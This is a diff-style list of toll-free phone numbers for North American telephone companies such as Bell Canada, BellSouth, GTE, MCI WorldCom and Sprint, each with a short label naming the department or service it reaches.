+1-800-563-5150 NewTel Mobility.
+1-800-563-5400 NewTel Communications.
+1-800-563-7171 NewTel Communications.
+1-800-563-7988 Newfoundland Telephones Mobile Service Department. (NewTel)
+1-800-563-8700 NewTel Communications.
+1-800-565-1290 Tele-Direct Atlantic.
+1-800-565-1570 IslandTel Repair Service.
+1-800-565-4287 IslandTel Business Inquiries.
+1-800-565-4737 IslandTel Business Office.
+1-800-565-4737 IslandTel.
+1-800-565-6283 NBTel Customer Care Centre.
+1-800-565-8884 NBTel Express.
+1-800-567-1811 Bell Electronic Business Solutions Information Center.
+1-800-567-2448 Bell Canada Millennium (Test Line)
+1-800-567-9633 Bell Canada.
+1-800-574-2455 IslandTel.
+1-800-583-3746 Bell Canada First Rate.
+1-800-611-6500 Bell Mobility Cellular.
+1-800-641-2311 Bell Canada Customer Service. (French - Press "2" for English)
+1-800-665-1800 NBTel.
+1-800-665-6000 NewTel Express.
+1-800-667-0123 Bell Mobility's Automated Express Lane System.
+1-800-667-6030 Bell Canada (French)
+1-800-667-6283 NBTel.
+1-800-668-0911 BCE Mobile Communications Inc.
+1-800-668-2355 Bell Canada.
+1-800-668-4862 Bell Canada Millennium (Coin)
+1-800-668-6851 Bell Canada Millennium (Alarm)
+1-800-668-6878 Bell Direct. (U.S. and Canada)
+1-800-668-8868 Stentor. (Cantonese and Mandarin)
+1-800-668-9090 Bell Information Systems Repair Service.
+1-800-668-9608 Bell Canada Switch Control Centre.
+1-800-668-9716 Bell Canada Employment Centre. (Press "*" to access VMS)
+1-800-668-9877 Telesat.
+1-800-724-4443 Bell Sympatico.
+1-800-749-0764 Bell Canada Human Resources.
+1-800-749-2538 Bell Canada. (Toronto Office)
+1-800-749-3081 Bell Canada Office.
+1-800-749-3085 Bell Canada Ontario Control Centre.
+1-800-749-3279 Bell Canada Business Sales.
+1-800-749-3743 Bell Canada. (Toronto Office)
+1-800-749-3745 Bell Canada Ontario Control Centre.
+1-800-749-4198 Bell Canada Ontario Control Centre.
+1-800-749-4208 Bell Canada Ontario Control Centre.
+1-800-749-9362 Bell Canada Ontario Control Centre. (Regional Manager)
+1-800-749-9770 Bell Canada. (Toronto Office)
+1-800-768-2220 Bell (VIC) Voice Interactive Communications System.
+1-800-772-2141 Bell Canada Millennium (Setshop)
+1-800-773-2121 Sympatico Customer Service. (Bell Canada's Internet service)
+1-800-789-9073 Bell Simple Connections.
+1-800-803-0077 Bell QuickChange Cards Customer Service.
+1-800-847-7303 Bell Minor Hockey Hotline.
+1-800-848-8353 Bell ActiMedia (Tele-Direct) Customer Service.
+1-800-855-0511 Bell Canada Relay Service (BCRS) Operator.
+1-800-862-6330 MTS (Manitoba Telephone System)
+1-800-889-4670 Bell Canada's Total Solution Center for Business.
+1-800-889-4672 Bell Canada Business.
+1-800-889-4676 Bell Canada Business.
+1-800-889-4681 Bell Advantage Internet Interactive Information System.
+1-800-889-4686 Bell Canada's Business Direct Marketing Centre.
+1-800-889-4690 Bell Canada Small and Medium Business.
+1-800-889-4691 Bell Advantage Internet Interactive Information System.
+1-800-931-3282 IslandTel Data Communications.
+1-800-936-6245 IslandTel. (IslandTel Express="1")
+1-800-938-4442 IslandTel Express. (reads back ANI)
+1-800-957-9999 Bell Canada Long Distance.
+1-800-984-2646 IslandTel Public Telephones.
+1-800-995-8887 Bell ActiMedia Sales Department.
+1-800-PRIVACY Bell Canada Call Privacy Service Demonstration/Order Line.
+1-800-REWARDS Bell Canada Rewards.
+1-877-2-ALIANT Aliant, Inc.
+1-877-202-3206 Bell Canada. (Chinese)
+1-877-202-3207 Bell Canada. (Chinese)
+1-877-202-3208 Bell Canada. (Chinese)
+1-877-202-3209 Bell Canada. (Chinese)
+1-877-241-6228 Bell Sympatico High Speed Edition Internet Service.
+1-877-268-4273 Bell Gardium Sales Department.
+1-877-318-0859 Bell Sympatico.
+1-877-327-9598 Bell Sympatico.
+1-877-327-9630 Bell Canada's Interactive Sympatico Ordering Service.
+1-877-35-SPEED Bell Sympatico.
+1-877-381-BELL Bell Mobility.
+1-877-486-3472 Bell Canada's Interactive Sympatico Ordering Service.
+1-877-499-1260 Bell Canada's SmartTouch Promotion Line.
+1-877-499-1263 Bell Canada's SmartTouch Line.
+1-877-4PERCALL Bell Canada's (Dis)Advantage Per Call.
+1-877-500-2688 Bell Canada's Interactive Sympatico Ordering Service.
+1-877-500-2693 Bell Canada's Interactive Sympatico Ordering Service.
+1-877-500-2694 Bell Canada's Interactive Sympatico Ordering Service.
+1-877-500-2699 Bell Canada's Interactive Sympatico Ordering Service.
+1-877-506-BELL Bell ExpressVu.
+1-877-51-SPEED Bell Sympatico Internet Services.
+1-877-518-BELL Bell ExpressVu.
+1-877-520-BELL Bell ExpressVu.
+1-877-521-BELL Bell ExpressVu.
+1-877-540-8222 Bell Canada's Interactive Sympatico Ordering Service.
+1-877-595-0210 Bell ActiMedia.
+1-877-60-SPEED Bell Sympatico.
+1-877-652-4119 Bell's SmartTouch Promotion.
+1-877-70-SPEED Bell Sympatico.
+1-877-723-4400 Bell Mobility Totalcom.
+1-877-733-BELL Bell Canada Direct Marketing Business Center.
+1-877-763-BELL Bell Canada's Total Solution Center for Business Customers.
+1-877-801-BELL Bell Canada's Direct Marketing Business Centre.
+1-877-811-6891 Bell Sympatico High Speed Edition.
+1-877-811-6892 Bell Sympatico High Speed Edition.
+1-877-811-6893 Bell Sympatico High Speed Edition.
+1-877-811-6894 Bell Sympatico High Speed Edition.
+1-877-811-6895 Bell Sympatico High Speed Edition.
+1-877-828-8686 IslandTel Sales.
+1-877-885-2424 Bell First Rate 24 Hour Enrollment Service.
+1-877-90-SPEED Bell Sympatico.
+1-877-91-SPEED Bell Sympatico.
+1-877-92-SPEED Bell Sympatico.
+1-877-96-SPEED Bell Sympatico.
+1-877-99-SPEED Bell Sympatico.
+1-877-999-2355 Bell Canada's Voice Response System.
+1-877-AIT-3113 Aliant Investor Relations.
+1-877-ALL-WKND Bell Mobility.
+1-877-BELLCORE Telcordia Technologies. (formerly known as Bellcore)
+1-877-BUNDLE-1 Bell Canada's Direct Marketing Centre.
+1-877-FIRSTRATE Bell First Rate Interactive Information and Enrollment Service.
+1-877-SIMPLY-1 Bell Mobility Simply One Plan.
+1-888-217-6533 Bell Mobility Pager.
+1-888-217-6535 Bell Mobility Pager.
+1-888-217-6538 Bell Mobility Pager.
+1-888-217-6539 Bell Mobility Pager.
+1-888-217-6540 Bell Mobility Service.
+1-888-24-FIRST Bell First Rate Interactive Information and Enrollment Service.
+1-888-242-2355 Bell (Spanish)
+1-888-291-6799 Bell Mobility Order Desk.
+1-888-299-0977 Bell Canada's Interactive Sympatico Ordering Service.
+1-888-308-5640 Bell Mobility Paging.
+1-888-333-4454 Bell Equipement D Imprimerie.
+1-888-368-9110 Northwestel Account Manager.
+1-888-377-2355 Bell First Rate Interactive Information and Enrollment Service.
+1-888-378-2355 Bell Canada's Ontario Direct Marketing Center.
+1-888-386-5555 Stentor Communications Production Fund.
+1-888-388-2355 Bell Direct in Canada. (the same as 310-BELL)
+1-888-4-662453 (1-888-4-MOBILE) Bell Mobility Cellular.
+1-888-423-2333 Northwestel Business Support Centre.
+1-888-433-0317 Bell Sympatico.
+1-888-442-0222 Bell Mobility Accounts Receivable.
+1-888-457-7308 Bell Mobility Order Desk.
+1-888-457-7309 Bell Mobility.
+1-888-457-7310 Bell Mobility.
+1-888-490-3001 Tele-Direct Atlantic.
+1-888-502-2222 Bell Canada. (Chinese/Vietnamese.)
+1-888-505-2222 Bell Canada. (Chinese/Vietnamese.)
+1-888-506-2222 Bell Canada. (Italian)
+1-888-512-2222 Bell Canada. (Chinese/Vietnamese.)
+1-888-513-2222 Bell Canada East and South Asian Hotline.
+1-888-515-2222 Bell Canada East and South Asian Hotline.
+1-888-519-2222 Bell Canada East and South Asian Hotline.
+1-888-521-2222 Bell Canada Operator.
+1-888-527-2222 Bell Canada's Direct Marketing Centre.
+1-888-531-2222 Bell Canada Operator.
+1-888-532-2222 Bell Canada's Direct Marketing Centre.
+1-888-538-2222 Bell Canada's Direct Marketing Centre.
+1-888-542-3784 Bell Mobility Out of the Box Program.
+1-888-597-9999 Schwab Canada QUALCOMM Digital PCS phone from Bell Mobility.
+1-888-739-2737 (1-888-REWARDS) Bell Total Rewards.
+1-888-788-2355 Bell Canada Business Consulting Group.
+1-888-794-0777 Stentor Canadian Network Management.
+1-888-796-1825 Bell (Dis)Advantage Internet Solutions.
+1-888-865-2239 Bell Mobility Pager.
+1-888-904-2355 Bell First Rate Interactive Information and Enrollment Service.
+1-888-932-6666 BCE Corp. Communications.
+1-888-DIRECPC Telesat Canada's Direct PC Customer Care Centre.
+
+
+-------------------------------------------------------------------------------
+ BellSouth:
+-------------------------------------------------------------------------------
+
+1-800-237-6432 BellSouth Advertising and Publishing.
+1-800-285-2355 BellSouth.
+1-800-419-2355 BellSouth. (Spanish)
+1-800-436-8638 BellSouth Internet Home. (U.S. only)
+1-800-451-6549 BellSouth Customer Service.
+1-800-541-1229 BellSouth Financial Services.
+1-800-639-2455 BellSouth Billing Services.
+1-800-733-2355 BellSouth Phones.
+1-800-753-0223 BellSouth Order Line.
+1-800-767-2355 BellSouth Automated Billing Services.
+1-800-775-2355 BellSouth Phones.
+1-800-831-4323 BellSouth.
+1-800-832-6338 BellSouth Memory Call Service.
+1-800-842-1558 BellSouth Benefits Service Center.
+1-800-858-9413 BellSouth ISDN order line.
+1-800-925-0010 BellSouth Communications Systems.
+1-800-925-0049 BellSouth Equipment/Customer Changes. (U.S. only)
+1-800-925-2525 BellSouth Business.
+1-800-962-3387 BellSouth Advertising and Publishing.
+1-800-995-9999 BellSouth Phones.
+1-800-BELL-SOUTH Collect, Calling Card and Credit Card calls.
+1-877-377-BELL BellSouth Mobility.
+1-877-464-BELL BellSouth Mobility Employment Line.
+1-877-921-BELL BellSouth.
+1-877-955-BELL BellSouth Rewards.
+1-877-TELEFONE BellSouth.
+1-888-201-2355 BellSouth Benefit Enrollment System.
+1-888-203-2355 BellSouth.
+1-888-327-2355 BellSouth Mobility Area Code Reprogramming Department.
+1-888-383-2355 BellSouth Cellular Fraud Prevention Center.
+1-888-462-8033 BellSouth COCOT Repair.
+1-888-543-2355 BellSouth Internet Business.
+1-888-837-1668 BellSouth Telecom Rental Services.
+
+
+-------------------------------------------------------------------------------
+ Cellular One:
+-------------------------------------------------------------------------------
+
+1-800-270-4444 Cellular One.
+1-800-369-2355 Cellular One.
+1-800-381-2355 Cellular One.
+1-800-487-2355 Cellular One Customer Service.
+1-800-514-2355 Cellular One's Welcome line.
+1-800-567-2355 Cellular One.
+1-800-604-2355 Cellular One.
+1-800-670-2355 Communication One (authorized agent of Cellular One)
+1-800-CELL-ONE Cellular One. (U.S. only)
+1-877-CELLFONE Cellular One's Voicemail Help line.
+1-888-345-2355 Cellular One Dispatch.
+1-888-522-2355 Cellular One.
+1-888-562-2355 Cellular One's Job Hotline.
+1-888-681-2355 Cellular One.
+1-888-CELLPHONE Cellular One.
+1-888-CELLULAR Cellular One Sales Office.
+
+
+-------------------------------------------------------------------------------
+ GTE:
+-------------------------------------------------------------------------------
+
+1-800-225-5160 GTE Corporation Teleservicing System.
+1-800-225-5483 (1-800-CALL-GTE) GTE Long Distance.
+1-800-272-3466 GTE Internetworking.
+1-800-346-5800 GTE Business Sales Center.
+1-800-347-5665 GTE Express. (Cellular)
+1-800-366-4834 (1-800-FON-GTE4) GTE Personnel-only question line. (U.S. only)
+1-800-366-4835 (1-800-FON-GTE5) GTE Personnel-only question line.
+1-800-366-5665 GTE Express. (Cellular)
+1-800-413-4233 GTE Education Assistance Program.
+1-800-428-8722 GTE Superpages Internet Services.
+1-800-445-5288 GTE Business Sales Center.
+1-800-445-5586 GTE Conference Connections Billing Department.
+1-800-445-7920 GTE Airfone.
+1-800-448-3795 GTE.
+1-800-472-4565 GTE Internetworking. (U.S. only)
+1-800-483-1000 (1-800-GTE-1000) GTE Repair Center.
+1-800-483-2273 (1-800-GTE-CARD) GTE Calling Card Services.
+1-800-483-3000 GTE Billing Center.
+1-800-483-3600 GTE North Customer Billing Center.
+1-800-483-4000 GTE California Customer Service Ordering Center.
+1-800-483-4839 GTE Business Response Center.
+1-800-483-5000 GTE California Business Sales Center.
+1-800-483-5288 GTE Headquarters in Irving, TX.
+1-800-483-5400 GTE Business Sales Center.
+1-800-483-5559 GTE.
+1-800-483-5781 GTE Wireless.
+1-800-483-7243 (1-800-GTE-PAGE) GTE Paging.
+1-800-483-7479 GTE Hawaiian Tel's Business Sales Center.
+1-800-483-8494 GTE Long Distance.
+1-800-527-2558 GTE Business Response Center.
+1-800-643-0997 GTE Bank Card Center.
+1-800-670-9320 GTE Paging.
+1-800-727-2355 GTE Wireless.
+1-800-787-9689 GTE Customer Service.
+1-800-826-1311 GTE Billing Center.
+1-800-877-5665 GTE Express. (Cellular)
+1-800-888-8448 GTE Directory Order Center.
+1-800-892-9600 GTE.
+1-800-927-3000 GTE Internet.
+1-800-AIRFONE GTE Airfone.
+1-877-205-7743 GTE National Support Center.
+1-888-483-0022 GTE Government Systems.
+1-888-483-4555 GTE Internet.
+1-888-681-3279 GTE Airfone. (call aircraft while they're in-flight)
+1-888-AIRFONE GTE Airfone.
+
+
+-------------------------------------------------------------------------------
+ Lucent Technologies:
+-------------------------------------------------------------------------------
+
+1-800-222-3111 Lucent Technologies. (St Louis, MO)
+1-800-222-6111 Lucent Technologies Consumer Products.
+1-800-228-1938 Lucent Technologies Calibration and Repair Services.
+1-800-237-0016 Lucent Technologies.
+1-800-242-2121 Lucent Technologies (PBX systems info, VMS info on Audix, etc.)
+1-800-289-0609 Lucent Technologies National Customer Care Center.
+1-800-322-2016 Lucent Technologies National Customer Care Center.
+1-800-342-5677 Lucent Technologies Technical Services Organization.
+1-800-344-0223 Lucent Technologies Inside Sales Department at the CRC.
+1-800-344-9670 Lucent Technologies National Customer Care Center.
+1-800-387-4268 Lucent Technologies.
+1-800-4-LUCENT Lucent Technologies.
+1-800-432-6600 Lucent Technologies Customer Information Center.
+1-800-451-2100 Lucent Technologies Cincinnati Customer Care Center.
+1-800-457-1235 Lucent Technologies BCS Publications Center.
+1-800-526-2000 Lucent Technologies NSAC.
+1-800-56-AUDIX Lucent Technologies. (telephone systems, Definity, AUDIX, etc.)
+1-800-628-2888 Lucent Technologies National Customer Care Center.
+1-800-643-2353 Lucent Technologies National Customer Care Center.
+1-800-811-1802 Lucent Technologies Special Customer Operations.
+1-800-821-8204 Lucent Technologies Multi-Media Applications Customer Support.
+1-800-822-2000 Lucent Technologies.
+1-800-852-0246 Lucent Technologies.
+1-877-4-LUCENT Lucent Technologies.
+1-888-4-LUCENT Lucent Technologies Canada.
+1-888-LUCENT-6 Lucent Technologies Shareholder Services.
+1-888-LUCENT-8 Lucent Technologies.
+
+
+-------------------------------------------------------------------------------
+ MCI WorldCom:
+-------------------------------------------------------------------------------
+
+1-800-225-5888 MCI WorldCom Operator Services.
+1-800-254-8991 MCI WorldCom Customer Service. (U.S. only)
+1-800-264-1000 MCI WorldCom Customer Service.
+1-800-265-5328 MCI's 1-800-COLLECT. Automated collect calls.
+1-800-267-7320 Network MCI.
+1-800-270-6245 WorldCom VMS. ("Please enter the # sign followed by your BN")
+1-800-275-0200 MCI WorldCom Residential/Business Customer Service.
+1-800-275-1234 MCI WorldCom. Accepts calling cards for phone calls.
+1-800-294-3496 MCI WorldCom.
+1-800-333-1000 MCI WorldCom Commercial Customer Service.
+1-800-333-2000 MCI WorldCom.
+1-800-333-5000 MCI WorldCom Residential Service.
+1-800-336-0149 MCI WorldCom Worldwide Customer Care and Global Product Support.
+1-800-374-6400 MCI WorldCom Local Customer Service.
+1-800-401-9997 MCI WorldCom.
+1-800-432-4557 MCI WorldCom Account Services. (U.S. only)
+1-800-444-1111 MCI WorldCom's Global Technical Service Center.
+1-800-444-3333 MCI WorldCom Customer Service. (U.S. only)
+1-800-444-4444 MCI WorldCom.
+1-800-444-6242 MCI.
+1-800-444-6245 MCI Mail Messaging and Technical Support.
+1-800-444-7000 MCI WorldCom St. Louis Business Market Sales Office.
+1-800-451-7220 MCI WorldCom.
+1-800-455-1605 Network MCI System.
+1-800-455-2957 Network MCI System.
+1-800-455-4215 Network MCI System.
+1-800-455-5469 Network MCI System.
+1-800-455-6084 Network MCI Interactive Paging Service.
+1-800-455-6504 Network MCI System.
+1-800-455-6513 Network MCI System.
+1-800-455-6780 Network MCI System.
+1-800-455-6834 Network MCI System.
+1-800-455-7806 Network MCI System.
+1-800-455-7854 Network MCI System.
+1-800-455-7920 Network MCI System.
+1-800-456-0253 MCI WorldCom.
+1-800-475-0138 MCI WorldCom.
+1-800-475-5628 MCI WorldCom Paging System.
+1-800-475-9321 MCI WorldCom.
+1-800-483-4929 Network MCI System.
+1-800-483-8784 Network MCI System.
+1-800-539-2000 MCI WorldCom Business Services.
+1-800-554-5778 MCI WorldCom Prepaid Cellular.
+1-800-555-4668 Network MCI System.
+1-800-627-2355 MCI WorldCom Administrative Offices.
+1-800-630-6759 MCI WorldCom.
+1-800-637-2255 MCI WorldCom.
+1-800-644-NEWS MCI WorldCom Public Relations.
+1-800-645-2355 MCI WorldCom.
+1-800-666-1904 MCI WorldCom. (U.S. only)
+1-800-666-2612 MCI WorldCom Small Business Department.
+1-800-666-2613 MCI WorldCom.
+1-800-674-2355 MCI WorldCom (calling card calls)
+1-800-688-4889 MCI National Relay Service in the U.S. (TTY)
+1-800-701-9358 MCI WorldCom. (U.S. only)
+1-800-701-9360 MCI WorldCom. (U.S. only)
+1-800-724-3624 (1-800-PAGE-MCI) MCI WorldCom Paging System.
+1-800-727-5555 MCI Small Business Accounts. (U.S. only)
+1-800-749-0800 MCI WorldCom.
+1-800-749-9600 MCI WorldCom.
+1-800-827-4690 MCI WorldCom Paging System.
+1-800-827-4750 MCI WorldCom Paging System.
+1-800-827-9983 MCI WorldCom Corporate Accounts.
+1-800-827-9987 MCI WorldCom Corporate Accounts.
+1-800-864-4060 MCI WorldCom Wholesale Services.
+1-800-872-7654 MCI WorldCom's EDI Group.
+1-800-876-8581 Network MCI.
+1-800-877-9320 Network MCI.
+1-800-888-8000 MCI WorldCom automated calling card calls.
+1-800-909-3175 MCI WorldCom Pre-paid Card System
+1-800-909-3180 MCI WorldCom Pre-paid Card System
+1-800-909-3197 MCI. (Spanish)
+1-800-933-0902 MCI WorldCom.
+1-800-938-6374 MCI WorldCom Customer Service.
+1-800-944-0700 MCI WorldCom Wireless.
+1-800-947-8642 MCI National Relay Service in the U.S. (voice)
+1-800-950-1022 MCI WorldCom Customer Service.
+1-800-950-5555 MCI WorldCom.
+1-800-999-7700 MCI WorldCom.
+1-800-COLLECT MCI WorldCom automated collect calls.
+1-800-EVERYDAY MCI WorldCom.
+1-800-MCI-LOCAL MCI WorldCom Local Customer Service.
+1-800-SUNDAYS MCI WorldCom.
+1-800-WORLDCOM WorldCom.
+1-877-589-CELL MCI WorldCom Paging System.
+1-877-897-CELL MCI WorldCom Cellular Message Center.
+1-877-957-CELL MCI WorldCom Paging System.
+1-877-958-2355 MCI WorldCom Paging System.
+1-877-960-2355 MCI WorldCom Paging System.
+1-877-961-2355 MCI WorldCom Paging System.
+1-888-575-2355 MCI WorldCom.
+1-888-624-2355 MCI WorldCom.
+1-888-624-9266 MCI WorldCom Sales Office.
+1-888-655-2355 Network MCI Contact.
+1-888-724-3624 (1-888-PAGE-MCI) MCI WorldCom Paging System.
+
+
+-------------------------------------------------------------------------------
+ MT&T:
+-------------------------------------------------------------------------------
+
+1-800-227-7401 MT&T Mpowered PC Member Services.
+1-800-422-5978 MT&T Mobility.
+1-800-461-5533 MT&T Billing, Accounts and Repairs.
+1-800-529-7371 MT&T Data Service. (Repair)
+1-800-561-6364 MT&T Data Services.
+1-800-565-1881 MT&T Business Customer Service Centre.
+1-800-565-4003 MT&T.
+1-800-565-4800 MT&T.
+1-800-565-5065 MT&T Residence Telemarketing.
+1-800-565-6188 MT&T Express. (press "1" for ANI)
+1-800-565-7102 MT&T.
+1-800-565-CARD MT&T Calling Card Services.
+1-800-626-5552 MT&T Data Communications Sales and Repairs.
+1-800-665-5614 MT&T.
+1-800-688-9811 MT&T.
+1-800-722-2121 MT&T Sympatico.
+1-800-776-4555 MT&T Business Office.
+1-888-334-VALUE MT&T.
+
+
+-------------------------------------------------------------------------------
+ Nortel Networks:
+-------------------------------------------------------------------------------
+
+(613) 226-5456 Nortel Emergency Technical Assistance Support. (Ottawa Office)
+1-800-328-6760 Nortel Networks (Minnetonka, MN)
+1-800-461-3196 Nortel Networks (Milton, ON)
+1-800-466-7835 (1-800-4-NORTEL) Nortel Networks. (Northern Telecom)
+1-800-638-9302 Nortel Networks Customer Care Center.
+1-800-665-2827 Nortel Networks Customer Technical Services After Hours Support.
+1-800-668-1717 Nortel Networks Global Customer Care Center.
+1-800-668-5511 Nortel Networks Customer Repair and Return Services.
+1-800-684-2255 Nortel's Meridian Home Office Support/Info.
+1-800-684-9996 Nortel Networks Software Applications Status Line.
+1-800-833-7477 Nortel Networks.
+1-800-896-8944 Nortel Networks. (Fax)
+1-800-NORTEL-1 Nortel Networks Information Line for Resellers.
+1-877-4-NORTEL Nortel Networks.
+1-888-4-NORTEL Nortel Networks VMS.
+
+
+-------------------------------------------------------------------------------
+ Pacific Bell:
+-------------------------------------------------------------------------------
+
+1-800-228-7102 Pacific Bell Smart Yellow Pages.
+1-800-241-3000 Pacific Bell Quickservice. (U.S. Only)
+1-800-248-2800 Pacific Bell Smart Yellow Pages.
+1-800-286-8111 Pacific Bell Spanish Yellow Pages.
+1-800-310-BELL Pacific Bell. (U.S. Only)
+1-800-453-4539 Pacific Bell Directory Major Market. (U.S. only)
+1-800-4PB-ISDN Pacific Bell FasTrak DSL Center. (U.S. only)
+1-800-528-0000 Pacific Bell Business Products. (U.S. Only)
+1-800-750-2355 Pacific Bell Customer Service. (U.S. Only)
+1-800-782-8353 Pacific Bell (to report any payphone crimes)
+1-800-848-8000 Pacific Bell Directory Smart Resource Center.
+1-800-933-2355 Fulfillment Plus. (Pacific Bell authorized agent)
+1-800-953-4400 Pacific Bell Phone Book Recycling. (California Only)
+1-800-PAC-BELL Pacific Bell. (U.S. Only)
+1-877-909-BELL Pacific Bell's Customer Service for the Message Center.
+1-888-755-2355 Pacific Bell Equipment.
+1-888-775-2355 Pacific Bell Equipment.
+
+
+-------------------------------------------------------------------------------
+ Qwest:
+-------------------------------------------------------------------------------
+
+1-800-256-1410 Qwest Communications Corporate News Bureau.
+1-800-460-1111 Qwest Customer Service.
+1-800-460-2222 Qwest.
+1-800-460-3333 Qwest.
+1-800-524-5249 Qwest Communications Customer Service.
+1-800-524-7258 Qwest Communications.
+1-800-567-7296 Qwest Communications Investor Relations.
+1-800-600-9196 Qwest Communications VMS.
+1-800-860-2255 Qwest Communications.
+1-800-899-7780 Qwest Communications.
+1-800-968-1287 Qwest Communications.
+1-800-968-3986 Qwest Communications.
+1-800-RIDEQWEST Qwest.
+1-877-877-7978 Qwest Shareholder Communication Service.
+1-888-452-6200 Qwest.
+1-888-793-7811 Qwest Communications Career Line. (Job Listings)
+
+
+-------------------------------------------------------------------------------
+ SaskTel:
+-------------------------------------------------------------------------------
+
+1-800-667-3500 SaskTel Business Solutions.
+1-800-667-5801 SaskTel International Head Office.
+1-800-667-6840 SaskTel Mobility Customer Service.
+1-800-667-6870 SaskTel Mobility Technical Support/Repair.
+1-800-667-BELL SaskTel Mobility.
+1-800-727-5835 SaskTel Residential Customer Care Centre.
+1-800-871-3011 SaskTel Satellite Service.
+1-800-900-3638 SaskTel FleetNet 800 and Wireless Data Service.
+1-800-975-1969 SaskTel.
+1-800-SASKTEL SaskTel Billing and Inquiries.
+1-877-337-2445 SaskTel Corporate Affairs.
+1-888-226-7788 SaskTel Business Customer Care Centre.
+
+
+-------------------------------------------------------------------------------
+ Southwestern Bell:
+-------------------------------------------------------------------------------
+
+1-800-225-5792 (1-800-CALL-SWB) SBC Wireless National Services.
+1-800-248-8484 SBC Datacom.
+1-800-351-7221 SBC Shareowner Services.
+1-800-438-5678 Southwestern Bell Lost/Stolen Calling Cards.
+1-800-441-1267 Southwestern Bell Yellow Pages.
+1-800-443-6200 Southwestern Bell Yellow Pages.
+1-800-468-6792 (1-800-GO-TO-SWB) Southwestern Bell's Employee Locator.
+1-800-479-2977 Southwestern Bell Yellow Pages.
+1-800-522-6909 Southwestern Bell Yellow Pages and Advertising Services.
+1-800-528-BELL Southwestern Bell Yellow Pages Business Office.
+1-800-600-BELL Southwestern Bell (calling card/collect calls)
+1-800-792-2665 (1-800-SWB-BOOK) Southwestern Bell Directory Source.
+1-800-792-4638 (1-800-SWB-INET) Southwestern Bell Internet Services.
+1-800-909-3285 Southwestern Bell Wireless.
+1-888-455-2355 Southwestern Bell Long Distance.
+1-888-544-8847 Southwestern Bell Quick Service.
+1-888-792-3751 Southwestern Bell DSL Service.
+1-915-683-9145 Southwestern Bell Employee Locator (Automated)
+
+
+-------------------------------------------------------------------------------
+ Sprint:
+-------------------------------------------------------------------------------
+
+1-800-210-2273 Sprint Long Distance.
+1-800-213-5430 Sprint.
+1-800-215-8037 Sprint Solutions Center.
+1-800-227-9892 Sprint.
+1-800-256-8340 Sprint Canada.
+1-800-277-7468 Sprint Phone Card and Collect calls.
+1-800-308-MOST Sprint Canada.
+1-800-322-3090 Sprint BusinessFlex.
+1-800-336-MOST Sprint Canada.
+1-800-344-9667 Sprint.
+1-800-344-9679 Sprint "Nickel Nights"
+1-800-344-9690 Sprint "Nickel Nights"
+1-800-348-MOST Sprint Canada.
+1-800-349-MOST Sprint Canada.
+1-800-359-2255 Sprint Voice Phone Card.
+1-800-361-9342 Sprint Canada Customer Service. (French)
+1-800-366-0707 Sprint Pre-Paid Card Customer Service.
+1-800-366-2255 Sprint automated LD calling (U.S. and Canada)
+1-800-370-MOST Sprint Canada.
+1-800-455-4602 Sprint PCS.
+1-800-456-9711 Sprint Canada Customer Service.
+1-800-459-MOST Sprint Canada.
+1-800-465-3193 Sprint Canada Customer Service. (English)
+1-800-467-7746 Sprint.
+1-800-469-MOST Sprint Canada.
+1-800-470-MOST Sprint Canada.
+1-800-471-MOST Sprint Canada.
+1-800-474-MOST Sprint Canada.
+1-800-475-7110 Sprint Canada.
+1-800-480-4727 (1-800-480-4PCS) Sprint PCS.
+1-800-483-MOST Sprint Canada.
+1-800-485-4493 Sprint Canada. (Fax)
+1-800-496-MOST Sprint Canada.
+1-800-505-MOST Sprint Canada.
+1-800-506-8268 Sprint Canada.
+1-800-511-2041 EarthLink Sprint/Mindspring Internet Services.
+1-800-515-MOST Sprint Canada "It's Easy home800"
+1-800-516-MOST Sprint Canada.
+1-800-517-MOST Sprint Canada.
+1-800-518-MOST Sprint Canada.
+1-800-522-9320 Sprint Canada.
+1-800-540-4516 Sprint Canada.
+1-800-546-6000 SprintNet's In-WATS Service.
+1-800-548-8120 Sprint Canada.
+1-800-555-2800 Sprint (Spanish)
+1-800-570-2255 Sprint Business Service Center.
+1-800-571-MOST Sprint Canada.
+1-800-575-2255 Sprint Canada's Business Sales Office in Halifax.
+1-800-575-MOST Sprint Canada.
+1-800-580-MOST Sprint Canada.
+1-800-581-MOST Sprint Canada.
+1-800-585-MOST Sprint Canada.
+1-800-593-MOST Sprint Long Distance.
+1-800-597-1195 Sprint Canada.
+1-800-597-9765 Sprint Canada.
+1-800-601-MOST Sprint Canada.
+1-800-605-MOST Sprint Canada.
+1-800-606-MOST Sprint Canada "It's Easy home800"
+1-800-607-MOST Sprint Canada.
+1-800-613-7797 Sprint Canada Customer Service.
+1-800-613-MOST Sprint Canada.
+1-800-616-MOST Sprint Canada "It's Easy home800"
+1-800-617-MOST Sprint Canada.
+1-800-631-MOST Sprint Canada.
+1-800-638-2661 EarthLink Sprint. (Internet)
+1-800-641-MOST Sprint Canada.
+1-800-653-MOST Sprint Canada.
+1-800-666-6999 Sprint Canada.
+1-800-674-7000 Sprint.
+1-800-680-MOST Sprint Canada.
+1-800-681-MOST Sprint Canada.
+1-800-691-MOST Sprint Canada "It's Easy home800"
+1-800-713-MOST Sprint Canada.
+1-800-714-MOST Sprint Canada.
+1-800-716-MOST Sprint Canada.
+1-800-720-MOST Sprint Canada.
+1-800-736-1130 SprintNet Data Network Products and Services.
+1-800-746-3767 (1-800-PIN-DROP) Sprint. (U.S. only)
+1-800-749-MOST Sprint Canada.
+1-800-777-4681 (1-800-SPRINT-1) Sprint Paging.
+1-800-777-4683 (1-800-SPRINT-3) Sprint Selections.
+1-800-801-MOST Sprint Canada.
+1-800-810-MOST Sprint Canada.
+1-800-827-2200 Sprint Business.
+1-800-827-3700 Sprint Long Distance.
+1-800-827-4680 Sprint Business.
+1-800-827-4685 Sprint's Global One Customer Service Center.
+1-800-827-4700 Sprint Long Distance.
+1-800-827-4800 Sprint Business Sales Office.
+1-800-827-9080 Sprint.
+1-800-830-MOST Sprint Canada.
+1-800-831-MOST Sprint Canada.
+1-800-840-MOST Sprint Canada "The Most" Enrollment.
+1-800-841-MOST Sprint Canada.
+1-800-843-6678 (1-800-THE-MOST) Sprint Canada.
+1-800-859-8888 Sprint Canada Operator.
+1-800-873-9350 Sprint Canada.
+1-800-874-5069 Sprint Canada.
+1-800-877-4453 Sprint Employee News line. (U.S. only. Updated daily)
+1-800-877-4646 Sprint Account/Rewards/Calling Card customer services.
+1-800-877-5045 Sprint Service Management Center.
+1-800-877-8000 Sprint Operator assisted calls.
+1-800-877-8973 Sprint National Relay Service in the U.S. (voice/TTY)
+1-800-890-6356 EarthLink Sprint.
+1-800-939-MOST Sprint Canada.
+1-800-980-5464 Sprint Canada Residential Customer Service/Sales. (English)
